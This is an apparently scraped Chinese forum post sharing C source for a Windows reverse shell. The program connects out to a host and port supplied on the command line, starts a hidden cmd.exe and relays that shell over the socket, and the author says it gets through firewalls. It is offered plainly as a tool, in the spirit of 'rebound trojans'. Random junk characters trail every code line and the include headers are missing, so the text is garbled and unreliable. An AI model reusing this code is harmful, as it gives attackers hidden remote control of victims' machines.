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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SX*os$  
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/* ============================== )Hw;{5p@  
Rebound port in Windows NT T0aK1Lh  
By wind,2006/7 qQVqS7 t  
===============================*/ 3>?ip;  
#include F,4Q  
#include <Z#u_:5@  
I80.|KIv  
#pragma comment(lib,"wsock32.lib") c) 1m4SB@  
a eP4%h  
void OutputShell(); rWa7"<`p  
SOCKET sClient; [S$)^>0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \`4}h[  
Lw-j#}&6E  
void main(int argc,char **argv) lt(,/  
{ @tp/0E?  
WSADATA stWsaData; o#w6]Fmc  
int nRet; \Z57UNI  
SOCKADDR_IN stSaiClient,stSaiServer; @dcW0WQ\  
}S%a]  
if(argc != 3) s-k-|4  
{ 12cfqIo9  
printf("Useage:\n\rRebound DestIP DestPort\n"); >,1'[) _  
return; c*6o{x}K  
} 62Jn8DwAT  
,[~Ydth  
WSAStartup(MAKEWORD(2,2),&stWsaData); YM#XV*P0 q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u4Vc:n  
Gt-  -7S  
stSaiClient.sin_family = AF_INET; wX|]8f2Z  
stSaiClient.sin_port = htons(0); =XoNk1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tD>m%1'&  
i|=}zR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A7: oq7b  
{ u1nv'\*  
printf("Bind Socket Failed!\n"); %zX'u.}8#  
return; u5idH),<  
} SxQ|1:i%  
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stSaiServer.sin_family = AF_INET; So!1l7b  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =OjzBiHR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ke,-8e#Q  
XFBk:~}sI  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) flb3Iih  
{ yy #Xs:/  
printf("Connect Error!"); kZn!]TseN  
return; A.<X78!^  
} 2$3BluK  
OutputShell(); hO(HwG?8t  
} iJsw:Nc  
cHR}`U$  
void OutputShell() fWLsk  
{ Y,)9{T  
char szBuff[1024]; Jg%sl& 65  
SECURITY_ATTRIBUTES stSecurityAttributes; mexI }  
OSVERSIONINFO stOsversionInfo; /CZOO)n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PUlb(3p `  
STARTUPINFO stStartupInfo; auGt>,Zj\Q  
char *szShell; 06=eA0JI  
PROCESS_INFORMATION stProcessInformation; r&TxRsg{  
unsigned long lBytesRead; O050Q5zy  
~ 4&_$e!  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q"Bgr&RJ  
DO %YOv  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _IY)<'d  
stSecurityAttributes.lpSecurityDescriptor = 0; .b]oB_  
stSecurityAttributes.bInheritHandle = TRUE; ,2?C^gxt  
uM4,_)L  
4Uwt--KtFh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -D V;{8U4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :A 1,3g  
x3WY26e  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1hMk\ -3S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =h&^X>!  
stStartupInfo.wShowWindow = SW_HIDE; {O"dj;RU  
stStartupInfo.hStdInput = hReadPipe; 16aaIK  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9ge$)q@3  
%%DK?{jo`  
GetVersionEx(&stOsversionInfo); (d!vm\-PH  
]_-$  
switch(stOsversionInfo.dwPlatformId) $MsM$]~  
{ 5aWKyXBIx  
case 1: |a"(Ds2U  
szShell = "command.com"; ?j OpW1  
break; 1-JWqV(#?  
default: lX7#3ti:  
szShell = "cmd.exe"; RhDa`kV%t  
break; ?Ts Z_  
} I~mw\K{.3M  
pYa<u,>pN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h2tzv~  
Dic(G[  
send(sClient,szMsg,77,0); }- +;{u  
while(1) ,Qh4=+jwqn  
{ @{$SjR8Q $  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :)MZgW  
if(lBytesRead) %_3{Db`R>  
{ e~}+.B0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); + 6}FUi!"e  
send(sClient,szBuff,lBytesRead,0); g1}RA@9  
} x,1&ml5  
else .II'W3Fr  
{ m\k$L7O  
lBytesRead=recv(sClient,szBuff,1024,0); J}.p6E~j  
if(lBytesRead<=0) break; hz/5k%%UX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L Xx 3  
} @cXY"hP`  
} )^r4|WYyt  
'~a!~F~>  
return; nGuF, 0j  
}
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